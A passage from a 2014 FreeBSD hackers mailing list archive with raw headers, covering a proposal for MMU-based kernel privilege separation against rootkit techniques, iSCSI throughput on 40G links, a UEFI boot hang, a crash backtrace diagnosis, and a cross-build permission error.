rule=cautious_plus_nq_notspam policy=cautious_plus_nq score=0 spamscore=0 suspectscore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1402240000 definitions=main-1407020167 X-Spam-OrigSender: dautenh1@illinois.edu X-Spam-Bar: X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Jul 2014 15:23:57 -0000 Hi All- I am a graduate student at UIUC and am currently working on a system that isolates the MMU from the rest of the FreeBSD kernel. For the purpose of enabling privilege separtion within the kernel. - This code is approximately 3k lines. - This base system also provides kernel code integrity (write protection = in memory) as one of its base properties. - This is somewhat follow up work on previous publications VirtualGhost (ASPLOS '14) and KCoFI (IEEE SP '14). The new system uses similar MMU policies to create the isolation within the kernel. Controlling the MMU enables read/write protection policies (for memory page= s) to be enforced within the kernel itself. I am interested in thoughts from the community on how to best use an intra-kernel isolation and mediation mechanism? One example policy or use of this mechanism would be to place critical func= tion pointers into a write protected region of memory and apply a policy where function pointers (such as a system call function pointer) are only allowed= to be set once (a write-once policy). Some initial ideas I have include: - Protecting against common root kit behaviors such as system call hookin= g, character device hooking (protect function pointers), DKOM (modifying process lists to hide data), kernel object hooking, etc. - Protecting capabilty enforcement - Mandatory Access Control Mechanism enforcement - Auditing mechansims (to ensure integrity of audit logs) Does anyone have insight into these or other important uses of this type of system? What would be a "killer app" type use in the kernel? I can be available on IRC if a real time discussion seems like a better pla= ce for discussion. Thanks, ::nathan:: [I have posted this to both freebsd-hackers and freebsd-security lists =97 = I wasn=92t sure what was best]= From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 2 16:37:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D0874D08; Wed, 2 Jul 2014 16:37:45 +0000 (UTC) Received: from mail-pa0-x22f.google.com (mail-pa0-x22f.google.com [IPv6:2607:f8b0:400e:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 98D1D284C; Wed, 2 Jul 2014 16:37:45 +0000 (UTC) Received: by mail-pa0-f47.google.com with SMTP id kq14so12800514pab.34 for ; Wed, 02 Jul 2014 09:37:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=UbNdGKoyMkUYJ/tQAnY1U7W0+OuScCGqPo9W+1doh6g=; b=WVAzbqfqhbEIz2Cw9cdIr/fUnDXiyObI23gNAFcbcXZ1GS/9nRMtt2+woFiMCR+ZLs yCHsxSeoGfVZTh2jpVdTnBGRQ7GcLMdMVfl9zvQmENmquBMzMoij8C7v+enaVS1K7/1s ieHjaMPqLDoJT8UP+kcNe3+PKK1ackxoSXzKNbj6+H+eikm/TTSlZQ91pO7WjYEaZQZe gYNomBhjQihhRV+mkjtckbJEEYT2chSmKfXx/hsZPvl1lLwr5ASlp/yOmmonAtRAf/q5 OJS+E4ObHhz2MIq3TTu9tHMA9xxjcFcQQrWWj3kjpy2qIXOIjLF8YjTGENLQrNpqPKTe osiA== X-Received: by 10.70.61.4 with SMTP id l4mr1240620pdr.112.1404319065163; Wed, 02 Jul 2014 09:37:45 -0700 (PDT) Received: from ox ([24.6.44.228]) by mx.google.com with ESMTPSA id fz3sm2203803pdb.78.2014.07.02.09.37.43 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Wed, 02 Jul 2014 09:37:44 -0700 (PDT) Date: Wed, 2 Jul 2014 09:37:39 -0700 From: Navdeep Parhar To: Slawa Olhovchenkov Subject: Re: FreeBSD iscsi target Message-ID: <20140702163739.GA3957@ox> Mail-Followup-To: Slawa Olhovchenkov , Kevin Oberman , "freebsd-hackers@freebsd.org" , Sreenivasa Honnur , FreeBSD Current References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140701091252.GB3443@brick> <20140701231305.GA37246@zxy.spb.ru> <20140702112609.GA85758@zxy.spb.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140702112609.GA85758@zxy.spb.ru> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: Kevin Oberman , Sreenivasa Honnur , FreeBSD Current , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Jul 2014 16:37:46 -0000 On Wed, Jul 02, 2014 at 03:26:09PM +0400, Slawa Olhovchenkov wrote: > On Tue, Jul 01, 2014 at 10:43:08PM -0700, Kevin Oberman wrote: > > > On Tue, Jul 1, 2014 at 4:13 PM, Slawa Olhovchenkov wrote: > > > > > On Tue, Jul 01, 2014 at 11:12:52AM +0200, Edward Tomasz Napierala wrote: > > > > > > > Hi. I've replied in private, but just for the record: > > > > > > > > On 0627T0927, Sreenivasa Honnur wrote: > > > > > Does freebsd iscsi target supports: > > > > > 1. ACL (access control lists) > > > > > > > > In 10-STABLE there is a way to control access based on initiator > > > > name and IP address. > > > > > > > > > 2. iSNS > > > > > > > > No; it's one of the iSCSI features that seem to only be used > > > > for marketing purposes :-) > > > > > > > > > 3. Multiple connections per session > > > > > > > > No; see above. > > > > > > I think this is help for 40G links. > > > > > > > I assume that you are looking at transfer of large amounts of data over 40G > > links. Assuming that tis is the case, yes, multiple connections per session > > Yes, this case. As I know, single transfer over 40G link limited by > 10G. This is not correct. A 40Gb link does not limit a single transfer to 10G. For example, on FreeBSD all common bandwidth benchmarks reach 40GbE line rate with a single TCP connection at mtu 1500. If a single transfer were limited to 10G you'd need 4 connections to get there. The physical signalling is over four lanes so it's easy to split a 40G link into four separate 10G links. But when running as a 40GbE (this is the usual case) the hardware will combine all the lanes into a single 40G data stream, and you get to use all of the bandwidth. Regards, Navdeep From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 2 17:09:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6E63D9B1 for ; Wed, 2 Jul 2014 17:09:06 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 346D62B58 for ; Wed, 2 Jul 2014 17:09:05 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id F1EEC3805C; Wed, 2 Jul 2014 12:08:58 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id M0P_KMRGmzme; Wed, 2 Jul 2014 12:08:58 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id 832CE3802B; Wed, 2 Jul 2014 12:08:58 -0500 (CDT) Message-ID: <53B43CA9.1070405@freebsd.org> Date: Wed, 02 Jul 2014 10:08:57 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Aleksandr Rybalko , Rozhuk.IM@gmail.com Subject: Re: UEFI boot hang References: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> <53B075D4.4060403@freebsd.org> <53b086e5.4725980a.2fcc.ffffadad@mx.google.com> <53B08E7A.7060909@freebsd.org> <53b095df.ad0a980a.0533.ffffb15c@mx.google.com> <20140630143204.b9cba8ca539dec090ce4be46@ddteam.net> In-Reply-To: <20140630143204.b9cba8ca539dec090ce4be46@ddteam.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Jul 2014 17:09:06 -0000 On 06/30/14 04:32, Aleksandr Rybalko wrote: > On Mon, 30 Jun 2014 02:40:28 +0400 > rozhuk.im@gmail.com wrote: > >> I try with VT kernel and got: >> >> http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_fatal1.jpg > Hi Ivan, > > can you please get backtrace somehow? > > Thanks! > I get the same error in VirtualBox when using EFI. If they're the same error, that might be a good place to debug it. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 3 07:21:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BFE2F9FA; Thu, 3 Jul 2014 07:21:34 +0000 (UTC) Received: from mail-lb0-x22b.google.com (mail-lb0-x22b.google.com [IPv6:2a00:1450:4010:c04::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1689B2518; Thu, 3 Jul 2014 07:21:33 +0000 (UTC) Received: by mail-lb0-f171.google.com with SMTP id s7so8752323lbd.2 for ; Thu, 03 Jul 2014 00:21:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:from:reply-to:to:cc:references:in-reply-to:subject:date :mime-version:content-type:content-transfer-encoding:thread-index :content-language; bh=W3Y2x8zht0wnqH1C7G1bL7PXn4LKRAwpHaNPV3pBJsY=; b=MHI6DVB/JGex9CfqwsumdfEXYIfOJQnLYd6SAJg5hpyEkimDILWHXBAsgWTdfFJnPI iWRy4ExoGHqfw/1dmHkNsddIrHS1l9ZDH/lQlEyUjHNHRvKJ7bMOdU8dF2T1OsYOcEPN kb63pfa5+1Vd2fm0zHjINcMbS7kFXqyB4Lo+o22E3biXFMPGFxiHyEioZp0F/AFxT9NM DnvIqHG8m37KD09R9aaoLnaFlHfMEK06Pn4A04unn0JhbwVTs1IB6jWWNn0Nv615GJcG /9Wq1K9nKzko+QnquI3vCCgp7kNPGh3vBqYjRgkAK3CNydzpT5OC0k8nIGx6nUlJjwzo iNaQ== X-Received: by 10.152.205.11 with SMTP id lc11mr2280601lac.46.1404372091912; Thu, 03 Jul 2014 00:21:31 -0700 (PDT) Received: from rimwks1w7x64 ([2001:470:1f15:8e:2572:f5c6:8c11:c971]) by mx.google.com with ESMTPSA id qe3sm34920579lbb.20.2014.07.03.00.21.29 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Thu, 03 Jul 2014 00:21:30 -0700 (PDT) Message-ID: <53b5047a.0389700a.63c6.38d8@mx.google.com> X-Google-Original-Message-ID: <021a01cf968f$693367a0$3b9a36e0$@IM@gmail.com> From: rozhuk.im@gmail.com X-Google-Original-From: Reply-To: To: "'Nathan Whitehorn'" , "'Aleksandr Rybalko'" References: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> <53B075D4.4060403@freebsd.org> <53b086e5.4725980a.2fcc.ffffadad@mx.google.com> <53B08E7A.7060909@freebsd.org> <53b095df.ad0a980a.0533.ffffb15c@mx.google.com> <20140630143204.b9cba8ca539dec090ce4be46@ddteam.net> <53B43CA9.1070405@freebsd.org> In-Reply-To: <53B43CA9.1070405@freebsd.org> Subject: RE: UEFI boot hang Date: Thu, 3 Jul 2014 11:21:27 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 thread-index: Ac+WGFBxbmQq4i7EQa+p39W8phMMxQAdezLA Content-Language: ru Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Jul 2014 07:21:34 -0000 After update to revision 268207 error migrate to: chdevgonecb() mtx_lock() (from chgetelemstatus()) Something wrong in cam / scsi code. > -----Original Message----- > From: Nathan Whitehorn [mailto:nwhitehorn@freebsd.org] > Sent: Wednesday, July 02, 2014 9:09 PM > To: Aleksandr Rybalko; Rozhuk.IM@gmail.com > Cc: freebsd-hackers@freebsd.org > Subject: Re: UEFI boot hang > > On 06/30/14 04:32, Aleksandr Rybalko wrote: > > On Mon, 30 Jun 2014 02:40:28 +0400 > > rozhuk.im@gmail.com wrote: > > > >> I try with VT kernel and got: > >> > >> http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_fatal1.jpg > > Hi Ivan, > > > > can you please get backtrace somehow? > > > > Thanks! > > > > I get the same error in VirtualBox when using EFI. If they're the same > error, that might be a good place to debug it. > -Nathan From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 3 12:15:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 22FD8EFF for ; Thu, 3 Jul 2014 12:15:10 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9CA3D2FF9 for ; Thu, 3 Jul 2014 12:15:09 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s63CCWZo039675 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Jul 2014 15:12:32 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s63CCWZo039675 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s63CCVVE039674; Thu, 3 Jul 2014 15:12:31 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Thu, 3 Jul 2014 15:12:31 +0300 From: Konstantin Belousov To: Grzegorz Blach Subject: Re: Crash probably in libthr Message-ID: <20140703121231.GD93733@kib.kiev.ua> References: <53A95016.3090901@blach.pl> <20140624205420.GZ93733@kib.kiev.ua> <53ADEE4C.2080804@blach.pl> <20140628110434.GB93733@kib.kiev.ua> <53B2CA82.6030504@blach.pl> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ZVbJiTJMCrlhTKaH" Content-Disposition: inline In-Reply-To: <53B2CA82.6030504@blach.pl> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Jul 2014 12:15:10 -0000 --ZVbJiTJMCrlhTKaH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jul 01, 2014 at 04:49:38PM +0200, Grzegorz Blach wrote: >=20 > On 06/28/14 13:04, Konstantin Belousov wrote: > > On Sat, Jun 28, 2014 at 12:21:00AM +0200, Grzegorz Blach wrote: > >> On 06/24/14 22:54, Konstantin Belousov wrote: > >>> On Tue, Jun 24, 2014 at 12:16:54PM +0200, Grzegorz Blach wrote: > >>>> On https://phab.enlightenment.org/T1330 I reported a crash in > >>>> Enlightenment. After analyzing backtraces from valgrind and gdb we t= hink > >>>> this might be a bug in libthr. > >>> And how did you come to this conclusion ? > >>> > >>>> Backtrace from valgrind: > >>>> https://phab.enlightenment.org/file/data/wlcvu7kmb5blxmgtnk2p/PHID-F= ILE-dimurhxlz4tvytoxnfup/valgrind2.log > >>>> Backtrace from gdb: > >>>> https://phab.enlightenment.org/file/data/zvbelqzjt4h3ppates6a/PHID-F= ILE-dsnaw3golsozpzlb7uqe/gdb2.log > >>>> > >>>> Have any one known what > >>>> /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 does? > >>> The gdb backtrace you posted reports that the SIGSEGV occured in the > >>> thread with lwp id 100363. According to the same log, innermost > >>> frame for the thread is in _op_blend_p_dp_mmx(), which is line 11 > >>> in the file src/lib/evas/common/./evas_op_blend/op_blend_pixel_i386.c. > >>> > >>> umtx_op is the syscall which typically parks thread in the kernel whi= le > >>> waiting for unblock. It appeared in the log because your process is > >>> multithreaded and that other thread slept waiting for an event. > >> Backtrace from valgrind is completely different than backtrace from gd= b. > >> How do you think that backtrace is more appropriate? > > Because gdb backtrace looks sane, for me. > > > >> Also I posted your reply on https://phab.enlightenment.org/T1330 this = is > >> an answer: > >> > >> "As I stated before the gdb trace is at least messed up, especially as > >> the caller to the _op_blend_p_dp_mmx report a lot of impossible > >> information (all the parameter that int are marked >> variable: Cannot access memory at address 0x0> or ). I > >> fail to see how we could believe that nothing is messed up at that poi= nt > >> and that gdb report the problem at the right time." > > It is not messed up. Old gdb from the base system is unable to interpret > > some dwarf constructs which are needed to access the arguments values, > > which does not invalidate the backtrace itself. > > > > I prefer to avoid commenting on someone beliefs. >=20 > I'm using gdb771 from ports not gdb611 from base. I think -O1 in CFLAGS > was the reason. > Now I rebuild EFL with -O0, this is a new backtrace: > https://phab.enlightenment.org/file/data/hu4fuxi5mwalxxydudj4/PHID-FILE-n= 2iww677ot6b4rlbko2e/gdb3.log >=20 > Also I found crashes in two another places: > https://phab.enlightenment.org/file/data/nlqs7yxy4oqztqq7nc6f/PHID-FILE-7= igyjfusokhy4z3zceu2/gdb4.log > https://phab.enlightenment.org/file/data/wxf3rfsggxnuaieyuacb/PHID-FILE-g= 3r7dw5tdn3hdnqcnltx/gdb5.log >=20 > But crash reported in gdb3.log file is the most common. This backtrace clearly indicates that segmentation violation occured in modules/evas/engines/gl_common/evas_gl_context.c:1903. --ZVbJiTJMCrlhTKaH Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTtUivAAoJEJDCuSvBvK1B0LwQAI8vm6zaeJHmSuBX87BUhx1z VmfYIw0h0IHWqgN7kdVTINGLuKkJTIDgB5SSasNjIImxXydScuzwOjetWaaIRwdB diiCkIesAhujMYq4/ku1tfbrPJdm+EGXJ7Sb19O7VR/8Yb/2NJgKURVJOMIwW7EW wBA1wGgwidFAX6PBxPPqiKjv00JYJiBEiNtP6gKpkjUhZQqGx4e/9fSuBY769eG4 H+FqgUPWCu/PU9haXQ72kmicAyMelPsPhdV3swxF/irLMBRi3aoGB2xMIgybbXLc gHNQDz0SOfgTLuOpL4vIuyFT2jjXglLzMHpWQDpAijpLHG0VPStc0BBnb13N/uOm pUAhqgNtKE8AgndKVvPoEfoDGOPMjLfy2BdYtsYXPINHqFkp7TEkExmbiUQUJ6h0 RqrSS2Nm5vE9iNTrYeqo9Lfay03Ef7y2AaZFFVVQ87g5Byxbx7T2Xqc2HNAR2sR+ gr/zWAbx6h5pjeGynNVG9X59bMHcJ0lD+cdw1xwKKZkBjcuESI5BKTL3Z5v4WF8R yvIM9CG9KNBncvjGaGgJnNbGBoifpIMXof8f1melcJ5guL42+07czw7A5ojm2vud CsxEPD9VZLGB2tKT3ec8pXd4KocmpLgMhOEZMM6i4C/fp95Kc9h9Oj9HkYImoXMp 4+ZufBHXaWtFCyGeoROT =DlMv -----END PGP SIGNATURE----- --ZVbJiTJMCrlhTKaH-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 3 16:32:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 787F24F8 for ; Thu, 3 Jul 2014 16:32:14 +0000 (UTC) Received: from mail.ignoranthack.me (ignoranthack.me [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5A7592C17 for ; Thu, 3 Jul 2014 16:32:14 +0000 (UTC) Received: from [192.168.200.204] (c-50-131-5-126.hsd1.ca.comcast.net [50.131.5.126]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 41B8419360B for ; Thu, 3 Jul 2014 16:32:13 +0000 (UTC) Subject: XDEV and MAKEOBJDIRPREFIX From: Sean Bruno Reply-To: sbruno@freebsd.org To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset="us-ascii" Date: Thu, 03 Jul 2014 09:32:17 -0700 Message-ID: <1404405137.1059.55.camel@bruno> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Jul 2014 16:32:14 -0000 It looks like something isn't respecting MAKEOBJDIRPREFIX? Or am I just not doing it right? [sbruno@alice ~/bsd/fbsd_head]$ MAKEOBJDIRPREFIX=/var/tmp make -s -j8 XDEV=arm XDEV_ARCH=armv6 xdev ..... ===> lib/clang/liblldbPluginSymbolVendorELF (all) /home/sbruno/bsd/fbsd_head/lib/clang/liblldbTarget/../../../contrib/llvm/tools/lldb/source/Target/StopInfo.cpp:427:141: warning: format specifies type 'unsigned long long' but the argument has type 'lldb::user_id_t' (aka 'unsigned long') [-Wformat] log->Printf ("Breakpoint %s hit on thread 0x%llx but it was not for this thread, continuing.", s.GetData(), thread_sp->GetID()); ~~~~ ^~~~~~~~~~~~~~~~~~ %lx /home/sbruno/bsd/fbsd_head/lib/clang/liblldbTarget/../../../contrib/llvm/tools/lldb/source/Target/StopInfo.cpp:464:145: warning: format specifies type 'unsigned long long' but the argument has type 'lldb::user_id_t' (aka 'unsigned long') [-Wformat] log->Printf ("Condition evaluated for breakpoint %s on thread 0x%llx conditon_says_stop: %i.", s.GetData(), thread_sp->GetID(), condition_says_stop); ~~~~ ^~~~~~~~~~~~~~~~~~ %lx 2 warnings generated. ===> lib/clang/liblldbPluginUnwindAssemblyInstEmulation (all) ===> lib/clang/liblldbPluginUnwindAssemblyX86 (all) ===> lib/clang/include (all) ===> xdev usr.bin/clang (obj,depend,all) ===> usr.bin/clang/clang (obj) ===> usr.bin/clang/clang-tblgen (obj) ===> usr.bin/clang/tblgen (obj) ===> usr.bin/clang/clang (depend) ===> usr.bin/clang/clang-tblgen (depend) ===> usr.bin/clang/tblgen (depend) ===> usr.bin/clang/clang (all) ===> usr.bin/clang/clang-tblgen (all) ===> usr.bin/clang/tblgen (all) mtree populating //usr/armv6-freebsd mkdir: //usr/armv6-freebsd: Permission denied --- _xi-mtree --- *** [_xi-mtree] Error code 1 make[1]: stopped in /home/sbruno/bsd/fbsd_head 1 error make[1]: stopped in /home/sbruno/bsd/fbsd_head --- xdev --- *** [xdev] Error code 2 make: stopped in /home/sbruno/bsd/fbsd_head 1 error make: stopped in /home/sbruno/bsd/fbsd_head From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 3 19:23:52 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0E703F4 for ; Thu, 3 Jul 2014 19:23:52 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id D59912B82 for ; Thu, 3 Jul 2014 19:23:51 +0000 (UTC) Received: from Julian-MBP3.local (ppp121-45-250-191.lns20.per2.internode.on.net [121.45.250.191]) (authenticated bits=0) by vps1.elischer.org (8.14.9/8.14.9) with ESMTP id s63JNltn033615 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 3 Jul 2014 12:23:50 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53B5ADBE.1020905@freebsd.org> Date: Fri, 04 Jul 2014 03:23:42 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: "Dautenhahn, Nathan Daniel" Subject: Re: Kernel Privilege Separation Policy References: <100A360A-DF5E-46D5-83F0-BCAE672D1D6C@illinois.edu> In-Reply-To: <100A360A-DF5E-46D5-83F0-BCAE672D1D6C@illinois.edu> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Cc: "hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Jul 2014 19:23:52 -0000 On 7/2/14, 10:52 PM, Dautenhahn, Nathan Daniel wrote: > Hi All- > > I am a graduate student at UIUC and am currently working on a system that > isolates the MMU from the rest of the FreeBSD kernel. For the purpose of > enabling privilege separtion within the kernel. > > [...] it does sound interesting.. I think the dearth of answers is that everyone is waiting for someone-else to answer, because the topic sounds a bit intimidating, From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 3 22:20:32 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C90585FE for ; Thu, 3 Jul 2014 22:20:32 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id 8F8222AF7 for ; Thu, 3 Jul 2014 22:20:32 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:3587:69af:a84:178b]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 42C684AC34; Fri, 4 Jul 2014 02:20:24 +0400 (MSK) Date: Fri, 4 Jul 2014 02:20:18 +0400 From: Lev Serebryakov Reply-To: lev@FreeBSD.org Organization: FreeBSD X-Priority: 3 (Normal) Message-ID: <654603279.20140704022018@serebryakov.spb.ru> To: John-Mark Gurney Subject: Re: gvinum status? In-Reply-To: <20140627114318.GE1560@funkthat.com> References: <20140625124802.GA61700@bewilderbeast.blackhelicopters.org> <20140627114318.GE1560@funkthat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: hackers@freebsd.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Jul 2014 22:20:32 -0000 Hello, John-Mark. You wrote 27 =D0=B8=D1=8E=D0=BD=D1=8F 2014 =D0=B3., 15:43:19: JMG> Well, there is at least one geom raid5 out there, just not in the base JMG> system: JMG> http://www.wgboome.org/geom_raid5-html JMG> Though doesn't look much up to date... ${PORTS}/sysutils/graid5 ;-) It is not perfect, code is terrible, but it works for me for many years now. --=20 // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 3 23:15:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from 